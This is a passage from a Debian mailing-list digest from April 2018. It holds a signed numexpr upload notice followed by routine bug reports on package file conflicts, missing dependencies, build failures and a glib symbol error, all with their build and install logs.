-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Mon, 02 Apr 2018 16:57:49 +
Source: numexpr
Binary: python-numexpr python-numexpr-dbg python3-numexpr python3-numexpr-dbg
Architecture: source
Version: 2.6.4-2
Distribution: unstable
Urgency: medium
Maintainer: Debian Science Maintainers 

Changed-By: Antonio Valentino 
Description:
 python-numexpr - Fast numerical array expression evaluator for Python and NumPy
 python-numexpr-dbg - Fast numerical array expression evaluator for Python and 
NumPy (d
 python3-numexpr - Fast numerical array expression evaluator for Python 3 and 
NumPy
 python3-numexpr-dbg - Fast numerical array expression evaluator for Python 3 
and NumPy
Closes: 894623
Changes:
 numexpr (2.6.4-2) unstable; urgency=medium
 .
   * Standard version bumped to 4.1.3 (no change)
   * Set compat to 11.
   * debian/rules
 - fix testing (Closes: #894623)
   * debian/control
 - update Vcs-* fields (salsa)
   * Drop debian/source.lintian-overrides
   * Add upstream metadata.
Checksums-Sha1:
 b7d6400ec254323e1d22b7d889886431af2e129c 2498 numexpr_2.6.4-2.dsc
 ac555a7c5fa8df053354373ff42094d3779835ca 6808 numexpr_2.6.4-2.debian.tar.xz
 36f04ad9ee09d40739b4016940b0488e241d729f 8162 numexpr_2.6.4-2_amd64.buildinfo
Checksums-Sha256:
 417500e4108aee7826f5b44a1f7e6476bc6670dd1e4b79ae1bbf2c6557ca438e 2498 
numexpr_2.6.4-2.dsc
 078ef0119252ffcf255a668dc16f52880d5080b8ecfa6bea524ef0c6b1e3ee30 6808 
numexpr_2.6.4-2.debian.tar.xz
 47c1d57a0af5a1a41edbf72b1a349a06cfb76ac543392cd307dd7724bb53e446 8162 
numexpr_2.6.4-2_amd64.buildinfo
Files:
 d2e4fdbdb45fbe17c901508298b4637f 2498 python optional numexpr_2.6.4-2.dsc
 50a5eba0eaf2926c9edf95a4b279dee1 6808 python optional 
numexpr_2.6.4-2.debian.tar.xz
 5bb379c006b9f6b2fe9e131db3a026bb 8162 python optional 
numexpr_2.6.4-2_amd64.buildinfo

-BEGIN PGP SIGNATURE-

iQIzBAEBCAAdFiEEU5UdlScuDFuCvoxKLOzpNQ7OvkoFAlrGIwUACgkQLOzpNQ7O
vkrKMg//f6ebU4igonnavjfWfyFJVzN3VEUdmbriaEVetzCDZ5gzaDXetOx/fjG0
eLbbOTTL1638gKiVsNUtcj0GWuZHjZcxTxQa8mM3O9z6FT375okQ3CqnmJwYWYsv
pqqmjXkzCJa2StiQZ4CK20lCwZuCCuZE6nf0Tyz1j3uXnqvULHJ7pR4dJRldvlWR
idNGJuK6Kl7C2kdGaCp4H5pvnlbL0F++HZTyxSkew0DeM1gRbkJ8QpNisp57xU2+
ilubiRI9szp5f3eVmQOaPmXIV/BVn92DGDlH/9YYImz22rHzHslPvIHnyAdvLusl
1baQBHNA+x17IL4WoDdn9T6Nyfe3t3I6qHkTG5vXvu+zF2kTsl9T2e5vhHS8CHXo
4u3FhT3y+xClvJBAo4S+H+qRevXugX2xxU2+8PKud1ZKMTxuZgy25C7cRqdADuto
PrU/Bi9TFlyJ/77nemht9Q6sdj5H/mySSyl0acgYMMBmFYCXlZl/FZvI4kDOlb2L
T00bNXjhhJrYrgdMaEOnO7RA+maV3Y0Bs61mMdRxzyZ22fmSJrM3e/QCZ3

Bug#894760: apache2-bin: trying to overwrite '/usr/lib/apache2/modules/mod_md.so', which is also in package libapache2-mod-md 1.1.0-1

[Andreas Beckmann]

Followup-For: Bug #894760

Hi,

similar problems exist with libapache2-mod-proxy-uwsgi:

  Preparing to unpack .../13-apache2-bin_2.4.33-1_amd64.deb ...
  Unpacking apache2-bin (2.4.33-1) over (2.4.29-2) ...
  dpkg: error processing archive 
/tmp/apt-dpkg-install-B7VtPD/13-apache2-bin_2.4.33-1_amd64.deb (--unpack):
   trying to overwrite '/usr/lib/apache2/modules/mod_proxy_uwsgi.so', which is 
also in package libapache2-mod-proxy-uwsgi 2.0.15-10.4
  dpkg-deb: error: paste subprocess was killed by signal (Broken pipe)

  Selecting previously unselected package apache2.
  Preparing to unpack .../21-apache2_2.4.33-1_amd64.deb ...
  Unpacking apache2 (2.4.33-1) ...
  dpkg: error processing archive 
/tmp/apt-dpkg-install-B7VtPD/21-apache2_2.4.33-1_amd64.deb (--unpack):
   trying to overwrite '/etc/apache2/mods-available/proxy_uwsgi.load', which is 
also in package libapache2-mod-proxy-uwsgi 2.0.15-10.4
  dpkg-deb: error: paste subprocess was killed by signal (Broken pipe)


Andreas

Bug#894905: fflas-ffpack: missing Depends: libgivaro-dev (>= 4.0.3)

[Doug Torrance]

On 04/05/2018 08:24 AM, Andreas Beckmann wrote:

Package: fflas-ffpack
Version: 2.3.2-1~exp1
Severity: serious

Hi,

noticed this while rebuilding linbox/experimental in sid+experimental:

...
checking for pkg-config... /usr/bin/pkg-config
checking pkg-config is at least version 0.9.0... yes
checking for FFLAS_FFPACK... no
configure: error: Package requirements (fflas-ffpack >= 2.3.0) were not met:

Package 'fflas-ffpack' requires 'givaro >= 4.0.3' but version of givaro is 4.0.2
You may find new versions of Givaro at http://givaro.forge.imag.fr

Consider adjusting the PKG_CONFIG_PATH environment variable if you
installed software in a non-standard prefix.

Alternatively, you may set the environment variables FFLAS_FFPACK_CFLAGS
and FFLAS_FFPACK_LIBS to avoid the need to call pkg-config.
See the pkg-config man page for more details.
...


The pkg-config file contains:

/-- fflas-ffpack.pc 
prefix=/usr
exec_prefix=/usr
libdir=/usr/lib
includedir=/usr/include

Name: fflas-ffpack
Description: Finite Field Linear Algebra Suroutines/Package
URL: http://github.com/linbox-team/fflas-ffpack
Version: 2.3.2
Requires: givaro >= 4.0.3
Libs: -fopenmp  -lblas -llapack
Cflags: -I${prefix}/include-fopenmp   -fabi-version=6
\---



Thanks for the report!

This would explain why I had to manually install givaro from 
experimental in my sbuild when I was packaging the new upstream version 
of linbox.  It never occurred to me that the mistake was in fflas-ffpack...


Anyway, I've fixed the problem in git [1].  I've copied this message to 
the Sage team -- would anyone be able to sponsor?


Doug

[1] https://salsa.debian.org/science-team/fflas-ffpack/commit/be453b1

Bug#894913: libkf5akonadi-dev: fails to upgrade from 'testing' - trying to overwrite /usr/share/kdevappwizard/templates/akonadiresource.tar.bz2

[Andreas Beckmann]

Package: libkf5akonadi-dev
Version: 4:17.12.3-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package fails to upgrade from
'testing'.
It installed fine in 'testing', then the upgrade to 'sid' fails
because it tries to overwrite other packages files without declaring a
Breaks+Replaces relation.

See policy 7.6 at
https://www.debian.org/doc/debian-policy/#overwriting-files-and-replacing-packages-replaces

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package libkf5akonadi-dev.
  Preparing to unpack .../165-libkf5akonadi-dev_4%3a17.12.3-1_amd64.deb ...
  Unpacking libkf5akonadi-dev (4:17.12.3-1) ...
  dpkg: error processing archive 
/tmp/apt-dpkg-install-mLp8Pj/165-libkf5akonadi-dev_4%3a17.12.3-1_amd64.deb 
(--unpack):
   trying to overwrite 
'/usr/share/kdevappwizard/templates/akonadiresource.tar.bz2', which is also in 
package kapptemplate 4:17.08.3-1


cheers,

Andreas


kapptemplate=4%17.08.3-1_libkf5akonadi-dev=4%17.12.3-1.log.gz
Description: application/gzip

Processed: python3-django-memoize,python3-memoize: error when trying to install together

[Debian Bug Tracking System]

Processing control commands:

> found -1 1.0.2-1
Bug #894912 [python3-django-memoize,python3-memoize] 
python3-django-memoize,python3-memoize: error when trying to install together
There is no source info for the package 'python3-django-memoize' at version 
'1.0.2-1' with architecture ''
Marked as found in versions python-memoize/1.0.2-1.
> found -1 2.1.0+dfsg-1
Bug #894912 [python3-django-memoize,python3-memoize] 
python3-django-memoize,python3-memoize: error when trying to install together
There is no source info for the package 'python3-memoize' at version 
'2.1.0+dfsg-1' with architecture ''
Marked as found in versions django-memoize/2.1.0+dfsg-1.

-- 
894912: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894912
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#894912: python3-django-memoize,python3-memoize: error when trying to install together

[Andreas Beckmann]

Package: python3-django-memoize,python3-memoize
Severity: serious
User: trei...@debian.org
Usertags: edos-file-overwrite
Control: found -1 1.0.2-1
Control: found -1 2.1.0+dfsg-1

Hi,

automatic installation tests of packages that share a file and at the
same time do not conflict by their package dependency relationships has
detected the following problem:

  Selecting previously unselected package python3-memoize.
  Preparing to unpack .../python3-memoize_1.0.2-1_all.deb ...
  Unpacking python3-memoize (1.0.2-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/python3-memoize_1.0.2-1_all.deb (--unpack):
   trying to overwrite '/usr/lib/python3/dist-packages/memoize/__init__.py', 
which is also in package python3-django-memoize 2.1.0+dfsg-1
  Errors were encountered while processing:
   /var/cache/apt/archives/python3-memoize_1.0.2-1_all.deb

This is a serious bug as it makes installation fail, and violates
sections 7.6.1 and 10.1 of the policy. An optimal solution would
consist in only one of the packages installing that file, and renaming
or removing the file in the other package. Depending on the
circumstances you might also consider Replace relations or file
diversions. If the conflicting situation cannot be resolved then, as a
last resort, the two packages have to declare a mutual
Conflict. Please take into account that Replaces, Conflicts and
diversions should only be used when packages provide different
implementations for the same functionality.

Here is a list of files that are known to be shared by both packages
(according to the Contents file for sid/amd64, which may be
slightly out of sync):

  usr/lib/python3/dist-packages/memoize/__init__.py

This bug is assigned to both packages. If you, the maintainers of
the two packages in question, have agreed on which of the packages will
resolve the problem please reassign the bug to that package. You may
also register in the BTS that the other package is affected by the bug.

Cheers,

Andreas

PS: for more information about the detection of file overwrite errors
of this kind see https://qa.debian.org/dose/file-overwrites.html


python3-django-memoize=2.1.0+dfsg-1_python3-memoize=1.0.2-1.log.gz
Description: application/gzip

Bug#893114: marked as done (dablin: FTBFS on armel, mips, mipsel, m68k, powerpc, powerpcspe, sh4 - undefined reference to `__atomic_load_8')

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 15:19:55 +0200
with message-id 
and subject line dablin: FTBFS on armel, mips, mipsel, m68k, powerpc, 
powerpcspe, sh4 - undefined reference to `__atomic_load_8'
has caused the Debian Bug report #893114,
regarding dablin: FTBFS on armel, mips, mipsel, m68k, powerpc, powerpcspe, sh4 
- undefined reference to `__atomic_load_8'
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
893114: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=893114
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: dablin
Version: 1.8.0-1
Severity: serious
Tags: sid buster

Hi

dablin FTBFS on the above architectures with these errors:
> [ 96%] Linking CXX executable dablin
> cd /<>/obj-mips-linux-gnu/src && /usr/bin/cmake -E 
> cmake_link_script CMakeFiles/dablin.dir/link.txt --verbose=1
> /usr/bin/c++  -g -O2 -fdebug-prefix-map=/<>=. 
> -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time 
> -D_FORTIFY_SOURCE=2  -Wl,-z,relro -Wl,-z,now -rdynamic 
> CMakeFiles/dablin.dir/sdl_output.cpp.o 
> CMakeFiles/dablin.dir/dabplus_decoder.cpp.o 
> CMakeFiles/dablin.dir/eti_source.cpp.o CMakeFiles/dablin.dir/eti_player.cpp.o 
> CMakeFiles/dablin.dir/dab_decoder.cpp.o 
> CMakeFiles/dablin.dir/fic_decoder.cpp.o 
> CMakeFiles/dablin.dir/pcm_output.cpp.o CMakeFiles/dablin.dir/tools.cpp.o 
> CMakeFiles/dablin.dir/version.cpp.o CMakeFiles/dablin.dir/dablin.cpp.o  -o 
> dablin ../fec/libfec.a -lpthread -lmpg123 -lSDL2 -lfaad -lc -lm 
> CMakeFiles/dablin.dir/sdl_output.cpp.o:/usr/include/c++/7/atomic:239: 
> undefined reference to `__atomic_store_8'
> CMakeFiles/dablin.dir/sdl_output.cpp.o:/usr/include/c++/7/atomic:239: 
> undefined reference to `__atomic_store_8'
> CMakeFiles/dablin.dir/sdl_output.cpp.o: In function 
> `SDLOutput::GetAudio(unsigned char*, unsigned int)':
> ./obj-mips-linux-gnu/src/./src/sdl_output.cpp:167: undefined reference to 
> `__atomic_load_8'
> CMakeFiles/dablin.dir/sdl_output.cpp.o:/usr/include/c++/7/atomic:250: 
> undefined reference to `__atomic_load_8'
> CMakeFiles/dablin.dir/sdl_output.cpp.o:/usr/include/c++/7/atomic:250: 
> undefined reference to `__atomic_load_8'
> CMakeFiles/dablin.dir/sdl_output.cpp.o:/usr/include/c++/7/atomic:250: 
> undefined reference to `__atomic_load_8'
> CMakeFiles/dablin.dir/sdl_output.cpp.o:/usr/include/c++/7/atomic:250: 
> undefined reference to `__atomic_load_8'
> CMakeFiles/dablin.dir/sdl_output.cpp.o:/usr/include/c++/7/atomic:250: more 
> undefined references to `__atomic_load_8' follow
> CMakeFiles/dablin.dir/sdl_output.cpp.o:/usr/include/c++/7/atomic:239: 
> undefined reference to `__atomic_store_8'
> CMakeFiles/dablin.dir/sdl_output.cpp.o:/usr/include/c++/7/atomic:239: 
> undefined reference to `__atomic_store_8'
> collect2: error: ld returned 1 exit status
> make[3]: *** [src/CMakeFiles/dablin.dir/build.make:336: src/dablin] Error 1
> make[3]: Leaving directory '/<>/obj-mips-linux-gnu'
> make[2]: *** [CMakeFiles/Makefile2:311: src/CMakeFiles/dablin.dir/all] Error 2
> make[2]: *** Waiting for unfinished jobs
> make[3]: Entering directory '/<>/obj-mips-linux-gnu'
> [ 71%] Building CXX object src/CMakeFiles/dablin_gtk.dir/dablin_gtk.cpp.o
> cd /<>/obj-mips-linux-gnu/src && /usr/bin/c++  
> -DDABLIN_AAC_FAAD2 -I/usr/include/SDL2 -I/usr/include/gtkmm-3.0 
> -I/usr/lib/mips-linux-gnu/gtkmm-3.0/include -I/usr/include/atkmm-1.6 
> -I/usr/include/gtk-3.0/unix-print -I/usr/include/gdkmm-3.0 
> -I/usr/lib/mips-linux-gnu/gdkmm-3.0/include -I/usr/include/giomm-2.4 
> -I/usr/lib/mips-linux-gnu/giomm-2.4/include -I/usr/include/pangomm-1.4 
> -I/usr/lib/mips-linux-gnu/pangomm-1.4/include -I/usr/include/glibmm-2.4 
> -I/usr/lib/mips-linux-gnu/glibmm-2.4/include -I/usr/include/gtk-3.0 
> -I/usr/include/at-spi2-atk/2.0 -I/usr/include/at-spi-2.0 
> -I/usr/include/dbus-1.0 -I/usr/lib/mips-linux-gnu/dbus-1.0/include 
> -I/usr/include/gio-unix-2.0 -I/usr/include/cairo -I/usr/include/pango-1.0 
> -I/usr/include/harfbuzz -I/usr/include/atk-1.0 -I/usr/include/cairomm-1.0 
> -I/usr/lib/mips-linux-gnu/cairomm-1.0/include -I/usr/include/pixman-1 
> -I/usr/include/freetype2 -I/usr/include/libpng16 -I/usr/include/sigc++-2.0 
> -I/usr/lib/mips-linux-gnu/sigc++-2.0/include -I/usr/include/gdk-pixbuf-2.0 
> -I/usr/include/glib-2.0 -I/usr/lib/mips-linux-gnu/glib-2.0/include 
> -I/<>/src/../fec  -g -O2 -fdebug-prefix-map=/<>=. 
> -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time 
> -D_FORTIFY_SOURCE=2   -std=c++0x -Wall -Wextra -o 
> CMakeFiles/dablin_gtk.dir/dablin_gtk.cpp.o -c 
> /<>/src/dablin_gtk.cpp
> make[3]: Leaving 

Bug#894910: python-xlwt-doc: missing Breaks+Replaces: python-xlwt (<< 1.3.0)

[Andreas Beckmann]

Package: python-xlwt-doc
Version: 1.3.0-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package fails to upgrade from
'testing'.
It installed fine in 'testing', then the upgrade to 'sid' fails
because it tries to overwrite other packages files without declaring a
Breaks+Replaces relation.

See policy 7.6 at
https://www.debian.org/doc/debian-policy/#overwriting-files-and-replacing-packages-replaces

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package python-xlwt-doc.
  Preparing to unpack .../python-xlwt-doc_1.3.0-1_all.deb ...
  Unpacking python-xlwt-doc (1.3.0-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/python-xlwt-doc_1.3.0-1_all.deb (--unpack):
   trying to overwrite '/usr/share/doc/python-xlwt/examples/big-16Mb.py', which 
is also in package python-xlwt 0.7.5+debian1-1
  Errors were encountered while processing:
   /var/cache/apt/archives/python-xlwt-doc_1.3.0-1_all.deb


cheers,

Andreas


python-xlwt=0.7.5+debian1-1_python-xlwt-doc=1.3.0-1.log.gz
Description: application/gzip

Bug#894816: [mikutter] mikutter doesn't start with error

[Hideo Oshima]

I downgladed ruby-gtk2, ruby-glib2, ruby-atk and ruby-gdk-pixbuf2 to
2.2.5-3+b2. But it still doesn't start.

$ mikutter 
Traceback (most recent call last):
48: from /usr/share/mikutter/mikutter.rb:42:in `'
47: from /usr/share/mikutter/core/miquire.rb:18:in `miquire'
46: from /usr/share/mikutter/core/miquire.rb:75:in `miquire'
45: from /usr/share/mikutter/core/miquire.rb:75:in `each'
44: from /usr/share/mikutter/core/miquire.rb:76:in `block in miquire'
43: from /usr/share/mikutter/core/miquire.rb:95:in 
`file_or_directory_require'
42: from /usr/share/mikutter/core/miquire.rb:98:in 
`miquire_original_require'
41: from /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in 
`require'
40: from /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in 
`require'
39: from /usr/share/mikutter/core/boot/load_plugin.rb:10:in `'
38: from /usr/share/mikutter/core/miquire_plugin.rb:96:in `load_all'
37: from /usr/share/mikutter/core/miquire_plugin.rb:36:in `each_spec'
36: from /usr/share/mikutter/core/miquire_plugin.rb:33:in `each'
35: from /usr/share/mikutter/core/miquire_plugin.rb:33:in `each'
34: from /usr/share/mikutter/core/miquire_plugin.rb:38:in `block in 
each_spec'
33: from /usr/share/mikutter/core/miquire_plugin.rb:98:in `block in 
load_all'
32: from /usr/share/mikutter/core/miquire_plugin.rb:146:in `load'
31: from /usr/share/mikutter/core/utils.rb:278:in `atomic'
30: from /usr/lib/ruby/2.5.0/monitor.rb:226:in `mon_synchronize'
29: from /usr/share/mikutter/core/utils.rb:278:in `block in atomic'
28: from /usr/share/mikutter/core/miquire_plugin.rb:147:in `block in 
load'
27: from /usr/share/mikutter/core/miquire_plugin.rb:147:in `each'
26: from /usr/share/mikutter/core/miquire_plugin.rb:149:in `block (2 
levels) in load'
25: from /usr/share/mikutter/core/miquire_plugin.rb:146:in `load'
24: from /usr/share/mikutter/core/utils.rb:278:in `atomic'
23: from /usr/lib/ruby/2.5.0/monitor.rb:226:in `mon_synchronize'
22: from /usr/share/mikutter/core/utils.rb:278:in `block in atomic'
21: from /usr/share/mikutter/core/miquire_plugin.rb:147:in `block in 
load'
20: from /usr/share/mikutter/core/miquire_plugin.rb:147:in `each'
19: from /usr/share/mikutter/core/miquire_plugin.rb:149:in `block (2 
levels) in load'
18: from /usr/share/mikutter/core/miquire_plugin.rb:146:in `load'
17: from /usr/share/mikutter/core/utils.rb:278:in `atomic'
16: from /usr/lib/ruby/2.5.0/monitor.rb:226:in `mon_synchronize'
15: from /usr/share/mikutter/core/utils.rb:278:in `block in atomic'
14: from /usr/share/mikutter/core/miquire_plugin.rb:158:in `block in 
load'
13: from /usr/share/mikutter/core/miquire_plugin.rb:158:in `load'
12: from /usr/share/mikutter/core/plugin/gtk/gtk.rb:5:in `'
11: from /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in 
`require'
10: from /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in 
`require'
 9: from /usr/lib/ruby/vendor_ruby/gtk2.rb:11:in `'
 8: from /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in 
`require'
 7: from /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in 
`require'
 6: from /usr/lib/ruby/vendor_ruby/gtk2/base.rb:12:in `'
 5: from /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in 
`require'
 4: from /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in 
`require'
 3: from /usr/lib/ruby/vendor_ruby/glib2.rb:101:in `'
 2: from /usr/lib/ruby/vendor_ruby/glib2.rb:105:in `rescue in '
 1: from /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in 
`require'
/usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in `require': cannot 
load such file -- glib2.so (LoadError)

-- 
大島秀夫(Hideo Oshima)
http://hidenosuke.org/

Bug#894909: wireguard-dkms: dev_recursion_level definition problem

[Mickey Derks]

Package: wireguard-dkms
Version: 0.0.20180304-1
Severity: grave
Justification: renders package unusable

Dear Maintainer,

On Debian Jessie, with (at least) kernel linux-image-3.16.0-4-686-pae, the DKMS 
module fails to compile, with an error related to the dev_recursion_level() 
redifinition in the wireguard source files. See also this CentOS isssue; the 
patch suggested there (removing the redifinition) fixes the issue for me: 
https://lists.zx2c4.com/pipermail/wireguard/2017-June/001457.html

-- System Information:
Debian Release: 8.3
  APT prefers oldstable
  APT policy: (500, 'oldstable')
Architecture: i386 (i686)

Kernel: Linux 3.16.0-4-686-pae (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages wireguard-dkms depends on:
ii  dkms  2.2.0.3-2

Versions of packages wireguard-dkms recommends:
ii  wireguard-tools  0.0.20180304-1

wireguard-dkms suggests no packages.

-- no debconf information

Bug#894908: apport: FTBFS during binary-arch build: Java not available

[Andreas Beckmann]

Source: apport
Version: 2.20.4-5
Severity: serious
Justification: fails to build from source

Hi,

apport FTBFS during the binary-arch only builds
(it succeeds if building binary-arch and binary-indep at the same time):

https://buildd.debian.org/status/package.php?p=apport&suite=experimental


 fakeroot debian/rules clean
dh "clean" --with python2,python3
   debian/rules override_dh_auto_clean
make[1]: Entering directory '/<>'
dh_auto_clean
python setup.py clean -a
Installing apt/dpkg packaging backend.
Java support: Java not available, not building Java crash handler
Traceback (most recent call last):
  File "setup.py", line 119, in 
universal_newlines=True).strip()
  File "/usr/lib/python2.7/subprocess.py", line 216, in check_output
process = Popen(stdout=PIPE, *popenargs, **kwargs)
  File "/usr/lib/python2.7/subprocess.py", line 394, in __init__
errread, errwrite)
  File "/usr/lib/python2.7/subprocess.py", line 1047, in _execute_child
raise child_exception
OSError: [Errno 2] No such file or directory
dh_auto_clean: python setup.py clean -a returned exit code 1
debian/rules:10: recipe for target 'override_dh_auto_clean' failed
make[1]: *** [override_dh_auto_clean] Error 1
make[1]: Leaving directory '/<>'
debian/rules:7: recipe for target 'clean' failed
make: *** [clean] Error 2


Andreas

Bug#894905: fflas-ffpack: missing Depends: libgivaro-dev (>= 4.0.3)

[Andreas Beckmann]

Package: fflas-ffpack
Version: 2.3.2-1~exp1
Severity: serious

Hi,

noticed this while rebuilding linbox/experimental in sid+experimental:

...
checking for pkg-config... /usr/bin/pkg-config
checking pkg-config is at least version 0.9.0... yes
checking for FFLAS_FFPACK... no
configure: error: Package requirements (fflas-ffpack >= 2.3.0) were not met:

Package 'fflas-ffpack' requires 'givaro >= 4.0.3' but version of givaro is 4.0.2
You may find new versions of Givaro at http://givaro.forge.imag.fr

Consider adjusting the PKG_CONFIG_PATH environment variable if you
installed software in a non-standard prefix.

Alternatively, you may set the environment variables FFLAS_FFPACK_CFLAGS
and FFLAS_FFPACK_LIBS to avoid the need to call pkg-config.
See the pkg-config man page for more details.
...


The pkg-config file contains:

/-- fflas-ffpack.pc 
prefix=/usr
exec_prefix=/usr
libdir=/usr/lib
includedir=/usr/include

Name: fflas-ffpack
Description: Finite Field Linear Algebra Suroutines/Package
URL: http://github.com/linbox-team/fflas-ffpack
Version: 2.3.2
Requires: givaro >= 4.0.3
Libs: -fopenmp  -lblas -llapack
Cflags: -I${prefix}/include-fopenmp   -fabi-version=6
\---


Andreas

Bug#894763: marked as done (libglib2.0-0: symbol lookup error: /usr/lib/arm-linux-gnueabihf/libgobject-2.0.so.0: undefined symbol: g_date_copy)

[Debian Bug Tracking System]

Your message dated Thu, 5 Apr 2018 13:41:14 +0200
with message-id <0379ab01-7775-b2b9-bab1-e8dc6e5b5...@debian.org>
and subject line Re: Bug#894763: libglib2.0-0: symbol lookup error: 
/usr/lib/arm-linux-gnueabihf/libgobject-2.0.so.0: undefined symbol: g_date_copy
has caused the Debian Bug report #894763,
regarding libglib2.0-0: symbol lookup error: 
/usr/lib/arm-linux-gnueabihf/libgobject-2.0.so.0: undefined symbol: g_date_copy
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
894763: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894763
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: libglib2.0-0
Version: 2.56.0-5
Severity: grave
Control: affects -1 + emacs25

Dear Maintainers,

since very recently, emacs25 on armhf (but not on amd64) crashes for
me as follows:

emacs25: symbol lookup error: /usr/lib/arm-linux-gnueabihf/libgobject-2.0.so.0: 
undefined symbol: g_date_copy

Since emacs25 itself was last uploaded in 2017, i.e. over three months
ago, I assumed the culprit is hidden in the very recently updated
libglib2.0-0 package. And indeed, downgrading libglib2.0-0 to 2.56.0-4
causes the issue to vanish.

Due to emacs crashing, this issue also causes the postinst of every
elpa-* package and probably also every *-mode package to fail.

Actually this is where I noticed the issue first:

Setting up mmm-mode (0.5.5-2) ...
Install emacsen-common for emacs25
emacsen-common: Handling install of emacsen flavor emacs25
emacs25: symbol lookup error: /usr/lib/arm-linux-gnueabihf/libgobject-2.0.so.0: 
undefined symbol: g_date_copy
ERROR: install script from emacsen-common package failed
dpkg: error processing package mmm-mode (--configure):
 installed mmm-mode package post-installation script subprocess returned error 
exit status 1
Setting up elpa-gitattributes-mode (1.2.7-1) ...
Install emacsen-common for emacs25
emacsen-common: Handling install of emacsen flavor emacs25
emacs25: symbol lookup error: /usr/lib/arm-linux-gnueabihf/libgobject-2.0.so.0: 
undefined symbol: g_date_copy
ERROR: install script from emacsen-common package failed
dpkg: error processing package elpa-gitattributes-mode (--configure):
 installed elpa-gitattributes-mode package post-installation script subprocess 
returned error exit status 1
Setting up elpa-no-littering (0.5.13-1) ...
Install emacsen-common for emacs25
emacsen-common: Handling install of emacsen flavor emacs25
emacs25: symbol lookup error: /usr/lib/arm-linux-gnueabihf/libgobject-2.0.so.0: 
undefined symbol: g_date_copy
ERROR: install script from emacsen-common package failed
dpkg: error processing package elpa-no-littering (--configure):
 installed elpa-no-littering package post-installation script subprocess 
returned error exit status 1
dpkg: dependency problems prevent configuration of elpa-git-modes:
 elpa-git-modes depends on elpa-gitattributes-mode (= 1.2.7-1); however:
  Package elpa-gitattributes-mode is not configured yet.

dpkg: error processing package elpa-git-modes (--configure):
 dependency problems - leaving unconfigured
Setting up elpa-ps-ccrypt (1.10-6) ...
Install emacsen-common for emacs25
emacsen-common: Handling install of emacsen flavor emacs25
emacs25: symbol lookup error: /usr/lib/arm-linux-gnueabihf/libgobject-2.0.so.0: 
undefined symbol: g_date_copy
ERROR: install script from emacsen-common package failed
dpkg: error processing package elpa-ps-ccrypt (--configure):
 installed elpa-ps-ccrypt package post-installation script subprocess returned 
error exit status 1
Setting up elpa-hl-todo (1.8.1-1) ...
Install emacsen-common for emacs25
emacsen-common: Handling install of emacsen flavor emacs25
emacs25: symbol lookup error: /usr/lib/arm-linux-gnueabihf/libgobject-2.0.so.0: 
undefined symbol: g_date_copy
ERROR: install script from emacsen-common package failed
dpkg: error processing package elpa-hl-todo (--configure):
 installed elpa-hl-todo package post-installation script subprocess returned 
error exit status 1
Errors were encountered while processing:
 mmm-mode
 elpa-gitattributes-mode
 elpa-no-littering
 elpa-git-modes
 elpa-ps-ccrypt
 elpa-hl-todo

-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (990, 'unstable'), (500, 'unstable-debug'), (500, 
'buildd-unstable'), (500, 'stable'), (1, 'experimental-debug'), (1, 
'buildd-experimental'), (1, 'experimental')
Architecture: armhf (armv7l)

Kernel: Linux 3.18.0-trunk-rpi2 (SMP w/4 CPU cores; PREEMPT)
Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE=C:en 
(charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (

Bug#889663: Unable to reproduce

[Michael Fladischer]

Hi Antonio,

I'm unable to reproduce this in a current clean chroot (pbuilder). Do
you have to full build log available somewhere?

Cheers,
Michael

Bug#894677: marked as done (FTBFS: Failed to register: The connection is closed; gio/tests/gapplication.c:572:test_quit: assertion failed: (activated))

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 11:36:15 +
with message-id 
and subject line Bug#894677: fixed in glib2.0 2.56.0-6
has caused the Debian Bug report #894677,
regarding FTBFS: Failed to register: The connection is closed; 
gio/tests/gapplication.c:572:test_quit: assertion failed: (activated)
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
